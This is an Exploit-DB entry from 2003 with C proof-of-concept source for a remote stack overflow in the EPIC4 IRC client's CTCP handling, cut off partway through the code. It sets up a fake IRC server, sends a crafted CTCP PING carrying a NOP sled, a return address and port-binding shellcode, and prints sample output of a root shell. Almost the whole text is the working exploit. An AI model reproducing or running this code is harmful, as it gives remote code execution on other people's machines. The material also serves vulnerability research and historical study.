Exploit-DB #23366
Description: Epic 1.0.1/1.0.x - CTCP Nickname Server Message Buffer Overrun
Type: remote
Platform: linux
Date: 2003-11-10
Author: Li0n7

Exploit:
// source: https://www.securityfocus.com/bid/8999/info

A remotely exploitable buffer overrun has been reported in Epic. This issue may reportedly be exploited by a malicious server that supplies an overly long nickname in a CTCP messages, potentially allowing for execution of arbitrary code in the context of the client user. It may be also be possible for a malicious client to send such a message, but it is likely that the server will limit the length.

/* EPIC4 remote client-side stack-based overflow
 * by Li0n7 - Li0n7[at]voila[dot]fr
 *
 * EPIC4 versions later than pre2.003 are prone to a remotly exploitable
 * stack-based overflow in send_ctcp() (src/ctcp.c). It occurs when
 * strlen(to) is greater than IRCD_BUFFER_SIZE-12, then alloca(), that
 * doesn't perform any boundary checking, will return a negative pointer
 * As a matter of fact, snprintf is called with a negative value as
 * maximum data lenght to write at *putbuf2 address (pointing to somewhere
 * inside the stack). Since we can control the content of the buffer written
 * at *putbuf2 address without any boundary checking, we can easily execute
 * arbitrary code.
 *
 * This little proof-of-concept code demonstrates the exploitation of the
 * bug discussed here: http://www.securitytracker.com/alerts/2003/Nov/1008131.html
 *
 * This exploit works as a fake IRC server, waiting for connection and then
 * trying to take advantage of the vulnerabilty by sending a specially CTCP
 * request crafted like this: [NOP...SHELLCODE] PRIVMSG a: \001PING [RET]\001\r\n
 * This code needs a few changes to work as a bouncer and more targets to be
 * really efficient.
 *
 * usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]
 *      -p: wait for connection on port <PORT>
 *      -t: choose the target among the platforms available
 *      -f: use <FILE> datas as welcome message
 *      -r: use <RET> as return address
 *
 *
 *$ ./epic4-exp -p 6667 -t 0 -v
 *[+] Setting up a fake IRC server...
 *[+] Awaiting connection on port 6667
 *[!] Connection established with 127.0.0.1
 *
 *[127.0.0.1] USER request received.
 *[127.0.0.1] NICK request received.
 *[127.0.0.1] Fake replies sent.
 *[127.0.0.1] Ping sent.
 *[127.0.0.1] Looking up client version...
 *[127.0.0.1] Client version: ircII EPIC4pre2.002 Linux 2.4.20 - Accept no limitations.
 *[127.0.0.1] Welcome message sent.
 *[127.0.0.1] Building evil string to send (using ret '0xbfffd06b')...
 *[127.0.0.1] Evil CTCP request sent.
 *
 *[+] Let's rock on!
 *Linux li0n7 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686 unknown
 *uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
 *
 */





#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>

#define D_BACK       26112
#define D_RET        0xbfffd06b
#define D_PORT       6667

#define HOSTNAME     ": NOTICE AUTH :*** Looking up your hostname...\r\n"
#define IDENT        ": NOTICE AUTH :*** Checking Ident\r\n"
#define HOST_FOUND   ": NOTICE AUTH :*** Found your hostname\r\n"
#define PING         "PING :571503427\r\n"

#define BUFFERSIZE   602
#define SIZE         1024

char shellcode[] = /* bighawk 78 bytes portbinding shellcode (26112) */

"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
"\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"
"\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"
"\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"
"\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80";


int back_connection(long host);
char * build(char *host);
char * build_welcome_mes(char *host,char *version);
long resolve_host(u_char *host_name);
void send_mes(int fd,char *host);
void wait_connection(int port,char *buffer);
void die(char *argv);

unsigned int check_version = 0;
unsigned char welcome[128];
unsigned long ret_addr;

struct os_ret_addr
{
      int num;
      char *plat;
      long ret;
};

struct os_ret_addr exp_os[]=
{
      {0,"slack 9.0",0xbfffd06b},
      {0,NULL,0}
};

int
main(int argc,char *argv[])
{
      int i, option, port = D_PORT;
      long host = 0;
      char * option_list = "f:p:r:t:v", buffer[SIZE+1];

      opterr = 0;
      memset(welcome,0,128);

      if (argc < 2) die(argv[0]);

      while((option = getopt(argc,argv,option_list)) != -1)
          switch(option)
          {
              case 'f':
                  strncpy(welcome,optarg,sizeof(welcome)-1);
                  welcome[sizeof(welcome)-1] = '\0';
                  break;
              case 'p':
                  port = atoi(optarg);
                  if(port > 65535 || port < 0) exit(-1);
                  break;
              case 'r':
                  ret_addr = atol(optarg);
                  if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(0);
                  break;
              case 't':
                  for(i=0; exp_os[i].plat != NULL; i++)
                  if(atoi(optarg) > i || atoi(optarg) < 0)
                  {
                      fprintf(stderr," Platforms supported are:\n");
                      for(i=0; exp_os[i].plat != NULL; i++)
                          fprintf(stderr," num: %i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
                          exit(0);
                  }
                  ret_addr = exp_os[atoi(optarg)].ret;
                  break;
              case 'v':
                  check_version = 1;
                  break;
              case '?':
                  fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
                  die(argv[0]);
          }

      wait_connection(port,buffer);
      return 0;
}

char
*build(char *host)
{
      char *buffer,*ptr,*request,*ret;
      int i;
      unsigned long *addr_ptr;

      fprintf(stdout,"[%s] Building evil string to sen